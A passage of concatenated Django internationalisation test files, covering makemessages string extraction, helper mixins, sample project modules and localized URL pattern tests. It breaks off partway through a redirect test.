    def test_unicode_file_name(self):
        open(os.path.join(self.test_dir, 'vidéo.txt'), 'a').close()
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)

    def test_extraction_warning(self):
        """test xgettext warning about multiple bare interpolation placeholders"""
        shutil.copyfile('./code.sample', './code_sample.py')
        out = StringIO()
        management.call_command('makemessages', locale=[LOCALE], stdout=out)
        self.assertIn("code_sample.py:4", force_text(out.getvalue()))

    def test_template_message_context_extractor(self):
        """
        Ensure that message contexts are correctly extracted for the
        {% trans %} and {% blocktrans %} template tags.
        Refs #14806.
        """
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
            # {% trans %}
            self.assertIn('msgctxt "Special trans context #1"', po_contents)
            self.assertMsgId("Translatable literal #7a", po_contents)
            self.assertIn('msgctxt "Special trans context #2"', po_contents)
            self.assertMsgId("Translatable literal #7b", po_contents)
            self.assertIn('msgctxt "Special trans context #3"', po_contents)
            self.assertMsgId("Translatable literal #7c", po_contents)

            # {% trans %} with a filter
            for minor_part in 'abcdefgh':  # Iterate from #7.1a to #7.1h template markers
                self.assertIn('msgctxt "context #7.1{}"'.format(minor_part), po_contents)
                self.assertMsgId('Translatable literal #7.1{}'.format(minor_part), po_contents)

            # {% blocktrans %}
            self.assertIn('msgctxt "Special blocktrans context #1"', po_contents)
            self.assertMsgId("Translatable literal #8a", po_contents)
            self.assertIn('msgctxt "Special blocktrans context #2"', po_contents)
            self.assertMsgId("Translatable literal #8b-singular", po_contents)
            self.assertIn("Translatable literal #8b-plural", po_contents)
            self.assertIn('msgctxt "Special blocktrans context #3"', po_contents)
            self.assertMsgId("Translatable literal #8c-singular", po_contents)
            self.assertIn("Translatable literal #8c-plural", po_contents)
            self.assertIn('msgctxt "Special blocktrans context #4"', po_contents)
            self.assertMsgId("Translatable literal #8d %(a)s", po_contents)

    def test_context_in_single_quotes(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
            # {% trans %}
            self.assertIn('msgctxt "Context wrapped in double quotes"', po_contents)
            self.assertIn('msgctxt "Context wrapped in single quotes"', po_contents)

            # {% blocktrans %}
            self.assertIn('msgctxt "Special blocktrans context wrapped in double quotes"', po_contents)
            self.assertIn('msgctxt "Special blocktrans context wrapped in single quotes"', po_contents)

    def test_template_comments(self):
        """Template comment tags on the same line of other constructs (#19552)"""
        # Test detection/end user reporting of old, incorrect templates
        # translator comments syntax
        with warnings.catch_warnings(record=True) as ws:
            warnings.simplefilter('always')
            management.call_command('makemessages', locale=[LOCALE], extensions=['thtml'], verbosity=0)
            self.assertEqual(len(ws), 3)
            for w in ws:
                self.assertTrue(issubclass(w.category, TranslatorCommentWarning))
            six.assertRegex(
                self, str(ws[0].message),
                r"The translator-targeted comment 'Translators: ignored i18n "
                r"comment #1' \(file templates[/\\]comments.thtml, line 4\) "
                r"was ignored, because it wasn't the last item on the line\."
            )
            six.assertRegex(
                self, str(ws[1].message),
                r"The translator-targeted comment 'Translators: ignored i18n "
                r"comment #3' \(file templates[/\\]comments.thtml, line 6\) "
                r"was ignored, because it wasn't the last item on the line\."
            )
            six.assertRegex(
                self, str(ws[2].message),
                r"The translator-targeted comment 'Translators: ignored i18n "
                r"comment #4' \(file templates[/\\]comments.thtml, line 8\) "
                "was ignored, because it wasn't the last item on the line\."
            )
        # Now test .po file contents
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())

            self.assertMsgId('Translatable literal #9a', po_contents)
            self.assertNotIn('ignored comment #1', po_contents)

            self.assertNotIn('Translators: ignored i18n comment #1', po_contents)
            self.assertMsgId("Translatable literal #9b", po_contents)

            self.assertNotIn('ignored i18n comment #2', po_contents)
            self.assertNotIn('ignored comment #2', po_contents)
            self.assertMsgId('Translatable literal #9c', po_contents)

            self.assertNotIn('ignored comment #3', po_contents)
            self.assertNotIn('ignored i18n comment #3', po_contents)
            self.assertMsgId('Translatable literal #9d', po_contents)

            self.assertNotIn('ignored comment #4', po_contents)
            self.assertMsgId('Translatable literal #9e', po_contents)
            self.assertNotIn('ignored comment #5', po_contents)

            self.assertNotIn('ignored i18n comment #4', po_contents)
            self.assertMsgId('Translatable literal #9f', po_contents)
            self.assertIn('#. Translators: valid i18n comment #5', po_contents)

            self.assertMsgId('Translatable literal #9g', po_contents)
            self.assertIn('#. Translators: valid i18n comment #6', po_contents)
            self.assertMsgId('Translatable literal #9h', po_contents)
            self.assertIn('#. Translators: valid i18n comment #7', po_contents)
            self.assertMsgId('Translatable literal #9i', po_contents)

            six.assertRegex(self, po_contents, r'#\..+Translators: valid i18n comment #8')
            six.assertRegex(self, po_contents, r'#\..+Translators: valid i18n comment #9')
            self.assertMsgId("Translatable literal #9j", po_contents)

    def test_makemessages_find_files(self):
        """
        Test that find_files only discover files having the proper extensions.
        """
        cmd = MakeMessagesCommand()
        cmd.ignore_patterns = ['CVS', '.*', '*~', '*.pyc']
        cmd.symlinks = False
        cmd.domain = 'django'
        cmd.extensions = ['html', 'txt', 'py']
        cmd.verbosity = 0
        cmd.locale_paths = []
        cmd.default_locale_path = os.path.join(self.test_dir, 'locale')
        found_files = cmd.find_files(self.test_dir)
        found_exts = set([os.path.splitext(tfile.file)[1] for tfile in found_files])
        self.assertEqual(found_exts.difference({'.py', '.html', '.txt'}), set())

        cmd.extensions = ['js']
        cmd.domain = 'djangojs'
        found_files = cmd.find_files(self.test_dir)
        found_exts = set([os.path.splitext(tfile.file)[1] for tfile in found_files])
        self.assertEqual(found_exts.difference({'.js'}), set())

    @mock.patch('django.core.management.commands.makemessages.popen_wrapper')
    def test_makemessages_gettext_version(self, mocked_popen_wrapper):
        # "Normal" output:
        mocked_popen_wrapper.return_value = (
            "xgettext (GNU gettext-tools) 0.18.1\n"
            "Copyright (C) 1995-1998, 2000-2010 Free Software Foundation, Inc.\n"
            "License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\n"
            "This is free software: you are free to change and redistribute it.\n"
            "There is NO WARRANTY, to the extent permitted by law.\n"
            "Written by Ulrich Drepper.\n", '', 0)
        cmd = MakeMessagesCommand()
        self.assertEqual(cmd.gettext_version, (0, 18, 1))

        # Version number with only 2 parts (#23788)
        mocked_popen_wrapper.return_value = (
            "xgettext (GNU gettext-tools) 0.17\n", '', 0)
        cmd = MakeMessagesCommand()
        self.assertEqual(cmd.gettext_version, (0, 17))

        # Bad version output
        mocked_popen_wrapper.return_value = (
            "any other return value\n", '', 0)
        cmd = MakeMessagesCommand()
        with six.assertRaisesRegex(self, CommandError, "Unable to get gettext version. Is it installed?"):
            cmd.gettext_version

    def test_po_file_encoding_when_updating(self):
        """Update of PO file doesn't corrupt it with non-UTF-8 encoding on Python3+Windows (#23271)"""
        BR_PO_BASE = 'locale/pt_BR/LC_MESSAGES/django'
        shutil.copyfile(BR_PO_BASE + '.pristine', BR_PO_BASE + '.po')
        management.call_command('makemessages', locale=['pt_BR'], verbosity=0)
        self.assertTrue(os.path.exists(BR_PO_BASE + '.po'))
        with io.open(BR_PO_BASE + '.po', 'r', encoding='utf-8') as fp:
            po_contents = force_text(fp.read())
            self.assertMsgStr("Größe", po_contents)


class JavascriptExtractorTests(ExtractorTests):

    PO_FILE = 'locale/%s/LC_MESSAGES/djangojs.po' % LOCALE

    def test_javascript_literals(self):
        _, po_contents = self._run_makemessages(domain='djangojs')
        self.assertMsgId('This literal should be included.', po_contents)
        self.assertMsgId('gettext_noop should, too.', po_contents)
        self.assertMsgId('This one as well.', po_contents)
        self.assertMsgId(r'He said, \"hello\".', po_contents)
        self.assertMsgId("okkkk", po_contents)
        self.assertMsgId("TEXT", po_contents)
        self.assertMsgId("It's at http://example.com", po_contents)
        self.assertMsgId("String", po_contents)
        self.assertMsgId("/* but this one will be too */ 'cause there is no way of telling...", po_contents)
        self.assertMsgId("foo", po_contents)
        self.assertMsgId("bar", po_contents)
        self.assertMsgId("baz", po_contents)
        self.assertMsgId("quz", po_contents)
        self.assertMsgId("foobar", po_contents)

    def test_media_static_dirs_ignored(self):
        """
        Regression test for #23583.
        """
        with override_settings(STATIC_ROOT=os.path.join(self.test_dir, 'static/'),
                               MEDIA_ROOT=os.path.join(self.test_dir, 'media_root/')):
            _, po_contents = self._run_makemessages(domain='djangojs')
            self.assertMsgId("Static content inside app should be included.", po_contents)
            self.assertNotMsgId("Content from STATIC_ROOT should not be included", po_contents)

    @override_settings(STATIC_ROOT=None, MEDIA_ROOT='')
    def test_default_root_settings(self):
        """
        Regression test for #23717.
        """
        _, po_contents = self._run_makemessages(domain='djangojs')
        self.assertMsgId("Static content inside app should be included.", po_contents)


class IgnoredExtractorTests(ExtractorTests):

    def test_ignore_directory(self):
        out, po_contents = self._run_makemessages(ignore_patterns=[
            os.path.join('ignore_dir', '*'),
        ])
        self.assertIn("ignoring directory ignore_dir", out)
        self.assertMsgId('This literal should be included.', po_contents)
        self.assertNotMsgId('This should be ignored.', po_contents)

    def test_ignore_subdirectory(self):
        out, po_contents = self._run_makemessages(ignore_patterns=[
            'templates/*/ignore.html',
            'templates/subdir/*',
        ])
        self.assertIn("ignoring directory subdir", out)
        self.assertNotMsgId('This subdir should be ignored too.', po_contents)

    def test_ignore_file_patterns(self):
        out, po_contents = self._run_makemessages(ignore_patterns=[
            'xxx_*',
        ])
        self.assertIn("ignoring file xxx_ignored.html", out)
        self.assertNotMsgId('This should be ignored too.', po_contents)

    def test_media_static_dirs_ignored(self):
        with override_settings(STATIC_ROOT=os.path.join(self.test_dir, 'static/'),
                               MEDIA_ROOT=os.path.join(self.test_dir, 'media_root/')):
            out, _ = self._run_makemessages()
            self.assertIn("ignoring directory static", out)
            self.assertIn("ignoring directory media_root", out)


class SymlinkExtractorTests(ExtractorTests):

    def setUp(self):
        super(SymlinkExtractorTests, self).setUp()
        self.symlinked_dir = os.path.join(self.test_dir, 'templates_symlinked')

    def test_symlink(self):
        # On Python < 3.2 os.symlink() exists only on Unix
        if hasattr(os, 'symlink'):
            if os.path.exists(self.symlinked_dir):
                self.assertTrue(os.path.islink(self.symlinked_dir))
            else:
                # On Python >= 3.2) os.symlink() exists always but then can
                # fail at runtime when user hasn't the needed permissions on
                # Windows versions that support symbolink links (>= 6/Vista).
                # See Python issue 9333 (http://bugs.python.org/issue9333).
                # Skip the test in that case
                try:
                    os.symlink(os.path.join(self.test_dir, 'templates'), self.symlinked_dir)
                except (OSError, NotImplementedError):
                    self.skipTest("os.symlink() is available on this OS but can't be used by this user.")
            os.chdir(self.test_dir)
            management.call_command('makemessages', locale=[LOCALE], verbosity=0, symlinks=True)
            self.assertTrue(os.path.exists(self.PO_FILE))
            with open(self.PO_FILE, 'r') as fp:
                po_contents = force_text(fp.read())
                self.assertMsgId('This literal should be included.', po_contents)
            self.assertLocationCommentPresent(self.PO_FILE, None, 'templates_symlinked', 'test.html')
        else:
            self.skipTest("os.symlink() not available on this OS + Python version combination.")


class CopyPluralFormsExtractorTests(ExtractorTests):

    PO_FILE_ES = 'locale/es/LC_MESSAGES/django.po'

    def test_copy_plural_forms(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
            self.assertIn('Plural-Forms: nplurals=2; plural=(n != 1)', po_contents)

    def test_override_plural_forms(self):
        """Ticket #20311."""
        management.call_command('makemessages', locale=['es'], extensions=['djtpl'], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE_ES))
        with io.open(self.PO_FILE_ES, 'r', encoding='utf-8') as fp:
            po_contents = fp.read()
            found = re.findall(r'^(?P<value>"Plural-Forms.+?\\n")\s*$', po_contents, re.MULTILINE | re.DOTALL)
            self.assertEqual(1, len(found))

    def test_trans_and_plural_blocktrans_collision(self):
        """
        Ensures a correct workaround for the gettext bug when handling a literal
        found inside a {% trans %} tag and also in another file inside a
        {% blocktrans %} with a plural (#17375).
        """
        management.call_command('makemessages', locale=[LOCALE], extensions=['html', 'djtpl'], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
            self.assertNotIn("#-#-#-#-#  django.pot (PACKAGE VERSION)  #-#-#-#-#\\n", po_contents)
            self.assertMsgId('First `trans`, then `blocktrans` with a plural', po_contents)
            self.assertMsgIdPlural('Plural for a `trans` and `blocktrans` collision case', po_contents)


class NoWrapExtractorTests(ExtractorTests):

    def test_no_wrap_enabled(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0, no_wrap=True)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
            self.assertMsgId(
                'This literal should also be included wrapped or not wrapped '
                'depending on the use of the --no-wrap option.',
                po_contents
            )

    def test_no_wrap_disabled(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0, no_wrap=False)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
            self.assertMsgId(
                '""\n"This literal should also be included wrapped or not '
                'wrapped depending on the "\n"use of the --no-wrap option."',
                po_contents,
                use_quotes=False
            )


class LocationCommentsTests(ExtractorTests):

    def test_no_location_enabled(self):
        """Behavior is correct if --no-location switch is specified. See #16903."""
        management.call_command('makemessages', locale=[LOCALE], verbosity=0, no_location=True)
        self.assertTrue(os.path.exists(self.PO_FILE))
        self.assertLocationCommentNotPresent(self.PO_FILE, None, 'test.html')

    def test_no_location_disabled(self):
        """Behavior is correct if --no-location switch isn't specified."""
        management.call_command('makemessages', locale=[LOCALE], verbosity=0, no_location=False)
        self.assertTrue(os.path.exists(self.PO_FILE))
        # #16903 -- Standard comment with source file relative path should be present
        self.assertLocationCommentPresent(self.PO_FILE, 'Translatable literal #6b', 'templates', 'test.html')

    def test_location_comments_for_templatized_files(self):
        """
        Ensure no leaky paths in comments, e.g. #: path\to\file.html.py:123
        Refs #21209/#26341.
        """
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
        self.assertMsgId('#: templates/test.html.py', po_contents)
        self.assertLocationCommentNotPresent(self.PO_FILE, None, '.html.py')
        self.assertLocationCommentPresent(self.PO_FILE, 5, 'templates', 'test.html')


class KeepPotFileExtractorTests(ExtractorTests):

    POT_FILE = 'locale/django.pot'

    def test_keep_pot_disabled_by_default(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertFalse(os.path.exists(self.POT_FILE))

    def test_keep_pot_explicitly_disabled(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0,
                                keep_pot=False)
        self.assertFalse(os.path.exists(self.POT_FILE))

    def test_keep_pot_enabled(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0,
                                keep_pot=True)
        self.assertTrue(os.path.exists(self.POT_FILE))


class MultipleLocaleExtractionTests(ExtractorTests):
    PO_FILE_PT = 'locale/pt/LC_MESSAGES/django.po'
    PO_FILE_DE = 'locale/de/LC_MESSAGES/django.po'
    LOCALES = ['pt', 'de', 'ch']

    def test_multiple_locales(self):
        management.call_command('makemessages', locale=['pt', 'de'], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE_PT))
        self.assertTrue(os.path.exists(self.PO_FILE_DE))


class ExcludedLocaleExtractionTests(ExtractorTests):

    work_subdir = 'exclude'

    LOCALES = ['en', 'fr', 'it']
    PO_FILE = 'locale/%s/LC_MESSAGES/django.po'

    def _set_times_for_all_po_files(self):
        """
        Set access and modification times to the Unix epoch time for all the .po files.
        """
        for locale in self.LOCALES:
            os.utime(self.PO_FILE % locale, (0, 0))

    def setUp(self):
        super(ExcludedLocaleExtractionTests, self).setUp()
        copytree('canned_locale', 'locale')
        self._set_times_for_all_po_files()

    def test_command_help(self):
        with captured_stdout(), captured_stderr():
            # `call_command` bypasses the parser; by calling
            # `execute_from_command_line` with the help subcommand we
            # ensure that there are no issues with the parser itself.
            execute_from_command_line(['django-admin', 'help', 'makemessages'])

    def test_one_locale_excluded(self):
        management.call_command('makemessages', exclude=['it'], stdout=StringIO())
        self.assertRecentlyModified(self.PO_FILE % 'en')
        self.assertRecentlyModified(self.PO_FILE % 'fr')
        self.assertNotRecentlyModified(self.PO_FILE % 'it')

    def test_multiple_locales_excluded(self):
        management.call_command('makemessages', exclude=['it', 'fr'], stdout=StringIO())
        self.assertRecentlyModified(self.PO_FILE % 'en')
        self.assertNotRecentlyModified(self.PO_FILE % 'fr')
        self.assertNotRecentlyModified(self.PO_FILE % 'it')

    def test_one_locale_excluded_with_locale(self):
        management.call_command('makemessages', locale=['en', 'fr'], exclude=['fr'], stdout=StringIO())
        self.assertRecentlyModified(self.PO_FILE % 'en')
        self.assertNotRecentlyModified(self.PO_FILE % 'fr')
        self.assertNotRecentlyModified(self.PO_FILE % 'it')

    def test_multiple_locales_excluded_with_locale(self):
        management.call_command('makemessages', locale=['en', 'fr', 'it'], exclude=['fr', 'it'],
                                stdout=StringIO())
        self.assertRecentlyModified(self.PO_FILE % 'en')
        self.assertNotRecentlyModified(self.PO_FILE % 'fr')
        self.assertNotRecentlyModified(self.PO_FILE % 'it')


class CustomLayoutExtractionTests(ExtractorTests):

    work_subdir = 'project_dir'

    def test_no_locale_raises(self):
        msg = "Unable to find a locale path to store translations for file"
        with self.assertRaisesMessage(management.CommandError, msg):
            management.call_command('makemessages', locale=LOCALE, verbosity=0)

    def test_project_locale_paths(self):
        """
        Test that:
          * translations for an app containing a locale folder are stored in that folder
          * translations outside of that app are in LOCALE_PATHS[0]
        """
        with override_settings(LOCALE_PATHS=[os.path.join(self.test_dir, 'project_locale')]):
            management.call_command('makemessages', locale=[LOCALE], verbosity=0)
            project_de_locale = os.path.join(
                self.test_dir, 'project_locale', 'de', 'LC_MESSAGES', 'django.po')
            app_de_locale = os.path.join(
                self.test_dir, 'app_with_locale', 'locale', 'de', 'LC_MESSAGES', 'django.po')
            self.assertTrue(os.path.exists(project_de_locale))
            self.assertTrue(os.path.exists(app_de_locale))

            with open(project_de_locale, 'r') as fp:
                po_contents = force_text(fp.read())
                self.assertMsgId('This app has no locale directory', po_contents)
                self.assertMsgId('This is a project-level string', po_contents)
            with open(app_de_locale, 'r') as fp:
                po_contents = force_text(fp.read())
                self.assertMsgId('This app has a locale directory', po_contents)






import os
import re
import shutil
import tempfile

from django.utils._os import upath

source_code_dir = os.path.dirname(upath(__file__))


def copytree(src, dst):
    shutil.copytree(src, dst, ignore=shutil.ignore_patterns('*.pyc', '__pycache__'))


class POFileAssertionMixin(object):

    def _assertPoKeyword(self, keyword, expected_value, haystack, use_quotes=True):
        q = '"'
        if use_quotes:
            expected_value = '"%s"' % expected_value
            q = "'"
        needle = '%s %s' % (keyword, expected_value)
        expected_value = re.escape(expected_value)
        return self.assertTrue(
            re.search('^%s %s' % (keyword, expected_value), haystack, re.MULTILINE),
            'Could not find %(q)s%(n)s%(q)s in generated PO file' % {'n': needle, 'q': q}
        )

    def assertMsgId(self, msgid, haystack, use_quotes=True):
        return self._assertPoKeyword('msgid', msgid, haystack, use_quotes=use_quotes)


class RunInTmpDirMixin(object):
    """
    Allow i18n tests that need to generate .po/.mo files to run in an isolated
    temporary filesystem tree created by tempfile.mkdtemp() that contains a
    clean copy of the relevant test code.

    Test classes using this mixin need to define a `work_subdir` attribute
    which designates the subdir under `tests/i18n/` that will be copied to the
    temporary tree from which its test cases will run.

    The setUp() method sets the current working dir to the temporary tree.
    It'll be removed when cleaning up.
    """

    def setUp(self):
        self._cwd = os.getcwd()
        self.work_dir = tempfile.mkdtemp(prefix='i18n_')
        # Resolve symlinks, if any, in test directory paths.
        self.test_dir = os.path.realpath(os.path.join(self.work_dir, self.work_subdir))
        copytree(os.path.join(source_code_dir, self.work_subdir), self.test_dir)
        # Step out of the temporary working tree before removing it to avoid
        # deletion problems on Windows. Cleanup actions registered with
        # addCleanup() are called in reverse so preserve this ordering.
        self.addCleanup(self._rmrf, self.test_dir)
        self.addCleanup(os.chdir, self._cwd)
        os.chdir(self.test_dir)

    def _rmrf(self, dname):
        if os.path.commonprefix([self.test_dir, os.path.abspath(dname)]) != self.test_dir:
            return
        shutil.rmtree(dname)

    def rmfile(self, filepath):
        if os.path.exists(filepath):
            os.remove(filepath)






from django.conf.urls import url
from django.conf.urls.i18n import i18n_patterns
from django.http import HttpResponse
from django.utils.translation import ugettext_lazy as _

urlpatterns = i18n_patterns(
    url(r'^simple/$', lambda r: HttpResponse(_("Yes"))),
    prefix_default_language=False,
)






























# Sample project used by test_extraction.CustomLayoutExtractionTests
from django.utils.translation import ugettext as _

string = _("This is a project-level string")






from django.utils.translation import ugettext as _

string = _("This app has a locale directory")












from django.utils.translation import ugettext as _

string = _("This app has no locale directory")












# This package is used to test the --exclude option of
# the makemessages and compilemessages management commands.
# The locale directory for this app is generated automatically
# by the test cases.

from django.utils.translation import ugettext as _

# Translators: This comment should be extracted
dummy1 = _("This is a translatable string.")

# This comment should not be extracted
dummy2 = _("This is another translatable string.")






#!/usr/bin/env python

"""
Helper script to update sampleproject's translation catalogs.

When a bug has been identified related to i18n, this helps capture the issue
by using catalogs created from management commands.

Example:

The string "Two %% Three %%%" renders differently using trans and blocktrans.
This issue is difficult to debug, it could be a problem with extraction,
interpolation, or both.

How this script helps:
 * Add {% trans "Two %% Three %%%" %} and blocktrans equivalent to templates.
 * Run this script.
 * Test extraction - verify the new msgid in sampleproject's django.po.
 * Add a translation to sampleproject's django.po.
 * Run this script.
 * Test interpolation - verify templatetag rendering, test each in a template
   that is rendered using an activated language from sampleproject's locale.
 * Tests should fail, issue captured.
 * Fix issue.
 * Run this script.
 * Tests all pass.
"""

import os
import re
import sys

proj_dir = os.path.dirname(os.path.abspath(__file__))
sys.path.append(os.path.abspath(os.path.join(proj_dir, '..', '..', '..')))


def update_translation_catalogs():
    """Run makemessages and compilemessages in sampleproject."""
    from django.core.management import call_command

    prev_cwd = os.getcwd()

    os.chdir(proj_dir)
    call_command('makemessages')
    call_command('compilemessages')

    # keep the diff friendly - remove 'POT-Creation-Date'
    pofile = os.path.join(proj_dir, 'locale', 'fr', 'LC_MESSAGES', 'django.po')

    with open(pofile) as f:
        content = f.read()
    content = re.sub(r'^"POT-Creation-Date.+$\s', '', content, flags=re.MULTILINE)
    with open(pofile, 'w') as f:
        f.write(content)

    os.chdir(prev_cwd)


if __name__ == "__main__":
    update_translation_catalogs()






#!/usr/bin/env python
import os
import sys

sys.path.append(os.path.abspath(os.path.join('..', '..', '..')))

if __name__ == "__main__":
    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sampleproject.settings")

    from django.core.management import execute_from_command_line

    execute_from_command_line(sys.argv)
























from __future__ import unicode_literals

import os

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.http import HttpResponsePermanentRedirect
from django.middleware.locale import LocaleMiddleware
from django.template import Context, Template
from django.test import SimpleTestCase, override_settings
from django.test.client import RequestFactory
from django.test.utils import override_script_prefix
from django.urls import clear_url_caches, reverse, translate_url
from django.utils import translation
from django.utils._os import upath


class PermanentRedirectLocaleMiddleWare(LocaleMiddleware):
    response_redirect_class = HttpResponsePermanentRedirect


@override_settings(
    USE_I18N=True,
    LOCALE_PATHS=[
        os.path.join(os.path.dirname(upath(__file__)), 'locale'),
    ],
    LANGUAGE_CODE='en-us',
    LANGUAGES=[
        ('nl', 'Dutch'),
        ('en', 'English'),
        ('pt-br', 'Brazilian Portuguese'),
    ],
    MIDDLEWARE=[
        'django.middleware.locale.LocaleMiddleware',
        'django.middleware.common.CommonMiddleware',
    ],
    ROOT_URLCONF='i18n.patterns.urls.default',
    TEMPLATES=[{
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(os.path.dirname(upath(__file__)), 'templates')],
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.i18n',
            ],
        },
    }],
)
class URLTestCaseBase(SimpleTestCase):
    """
    TestCase base-class for the URL tests.
    """

    def setUp(self):
        # Make sure the cache is empty before we are doing our tests.
        clear_url_caches()

    def tearDown(self):
        # Make sure we will leave an empty cache for other testcases.
        clear_url_caches()


class URLPrefixTests(URLTestCaseBase):
    """
    Tests if the `i18n_patterns` is adding the prefix correctly.
    """
    def test_not_prefixed(self):
        with translation.override('en'):
            self.assertEqual(reverse('not-prefixed'), '/not-prefixed/')
            self.assertEqual(reverse('not-prefixed-included-url'), '/not-prefixed-include/foo/')
        with translation.override('nl'):
            self.assertEqual(reverse('not-prefixed'), '/not-prefixed/')
            self.assertEqual(reverse('not-prefixed-included-url'), '/not-prefixed-include/foo/')

    def test_prefixed(self):
        with translation.override('en'):
            self.assertEqual(reverse('prefixed'), '/en/prefixed/')
        with translation.override('nl'):
            self.assertEqual(reverse('prefixed'), '/nl/prefixed/')
        with translation.override(None):
            self.assertEqual(reverse('prefixed'), '/%s/prefixed/' % settings.LANGUAGE_CODE)

    @override_settings(ROOT_URLCONF='i18n.patterns.urls.wrong')
    def test_invalid_prefix_use(self):
        with self.assertRaises(ImproperlyConfigured):
            reverse('account:register')


@override_settings(ROOT_URLCONF='i18n.patterns.urls.disabled')
class URLDisabledTests(URLTestCaseBase):

    @override_settings(USE_I18N=False)
    def test_prefixed_i18n_disabled(self):
        with translation.override('en'):
            self.assertEqual(reverse('prefixed'), '/prefixed/')
        with translation.override('nl'):
            self.assertEqual(reverse('prefixed'), '/prefixed/')


class RequestURLConfTests(SimpleTestCase):

    @override_settings(ROOT_URLCONF='i18n.patterns.urls.path_unused')
    def test_request_urlconf_considered(self):
        request = RequestFactory().get('/nl/')
        request.urlconf = 'i18n.patterns.urls.default'
        middleware = LocaleMiddleware()
        with translation.override('nl'):
            middleware.process_request(request)
        self.assertEqual(request.LANGUAGE_CODE, 'nl')


@override_settings(ROOT_URLCONF='i18n.patterns.urls.path_unused')
class PathUnusedTests(URLTestCaseBase):
    """
    Check that if no i18n_patterns is used in root URLconfs, then no
    language activation happens based on url prefix.
    """

    def test_no_lang_activate(self):
        response = self.client.get('/nl/foo/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response['content-language'], 'en')
        self.assertEqual(response.context['LANGUAGE_CODE'], 'en')


class URLTranslationTests(URLTestCaseBase):
    """
    Tests if the pattern-strings are translated correctly (within the
    `i18n_patterns` and the normal `patterns` function).
    """
    def test_no_prefix_translated(self):
        with translation.override('en'):
            self.assertEqual(reverse('no-prefix-translated'), '/translated/')
            self.assertEqual(reverse('no-prefix-translated-slug', kwargs={'slug': 'yeah'}), '/translated/yeah/')

        with translation.override('nl'):
            self.assertEqual(reverse('no-prefix-translated'), '/vertaald/')
            self.assertEqual(reverse('no-prefix-translated-slug', kwargs={'slug': 'yeah'}), '/vertaald/yeah/')

        with translation.override('pt-br'):
            self.assertEqual(reverse('no-prefix-translated'), '/traduzidos/')
            self.assertEqual(reverse('no-prefix-translated-slug', kwargs={'slug': 'yeah'}), '/traduzidos/yeah/')

    def test_users_url(self):
        with translation.override('en'):
            self.assertEqual(reverse('users'), '/en/users/')

        with translation.override('nl'):
            self.assertEqual(reverse('users'), '/nl/gebruikers/')
            self.assertEqual(reverse('prefixed_xml'), '/nl/prefixed.xml')

        with translation.override('pt-br'):
            self.assertEqual(reverse('users'), '/pt-br/usuarios/')

    def test_translate_url_utility(self):
        with translation.override('en'):
            self.assertEqual(translate_url('/en/non-existent/', 'nl'), '/en/non-existent/')
            self.assertEqual(translate_url('/en/users/', 'nl'), '/nl/gebruikers/')
            # Namespaced URL
            self.assertEqual(translate_url('/en/account/register/', 'nl'), '/nl/profiel/registeren/')
            self.assertEqual(translation.get_language(), 'en')

        with translation.override('nl'):
            self.assertEqual(translate_url('/nl/gebruikers/', 'en'), '/en/users/')
            self.assertEqual(translation.get_language(), 'nl')


class URLNamespaceTests(URLTestCaseBase):
    """
    Tests if the translations are still working within namespaces.
    """
    def test_account_register(self):
        with translation.override('en'):
            self.assertEqual(reverse('account:register'), '/en/account/register/')

        with translation.override('nl'):
            self.assertEqual(reverse('account:register'), '/nl/profiel/registeren/')


class URLRedirectTests(URLTestCaseBase):
    """
    Tests if the user gets redirected to the right URL when there is no
    language-prefix in the request URL.
    """
    def test_no_prefix_response(self):
        response = self.client.get('/not-prefixed/')
        self.assertEqual(response.status_code, 200)

    def test_en_redirect(self):
        response = self.client.get('/account/register/', HTTP_ACCEPT_LANGUAGE='en')
        self.assertRedirects(response, '/en/account/register/')

        response = self.client.get(response['location'])
        self.assertEqual(response.status_code, 200)

    def test_en_redirect_wrong_url(self):
        response = self.client.get('/profiel/registeren/', HTTP_ACCEPT_LANGUAGE='en')
        self.assertEqual(response.status_code, 404)

    def test_nl_redirect(self):
        response = self.client.get('/profiel/registeren/', HTTP_ACCEPT_LANGUAGE='nl')
        self.assertRedirects(response, '/nl/profiel/registeren/')

        response = self.client.get(response['location'])
        self.assertEqual(response.status_code, 200)

    def test_nl_redirect_wrong_url(self):
        response = self.client.get('/account/register/', HTTP_ACCEPT_LANGUAGE='nl')
        self.assertEqual(response.status_code, 404)

    def test_pt_br_redirect(self):
        response = self.client.get('/conta/registre-se/', HTTP_ACCEPT_LANGUAGE='pt-br')
        self.assertRedirects(response, '/pt-br/conta/registre-se/')

        response = self.client.get(response['location'])
        self.assertEqual(response.status_code, 200)

    def test_pl_pl_redirect(self):
        # language from outside of the supported LANGUAGES list
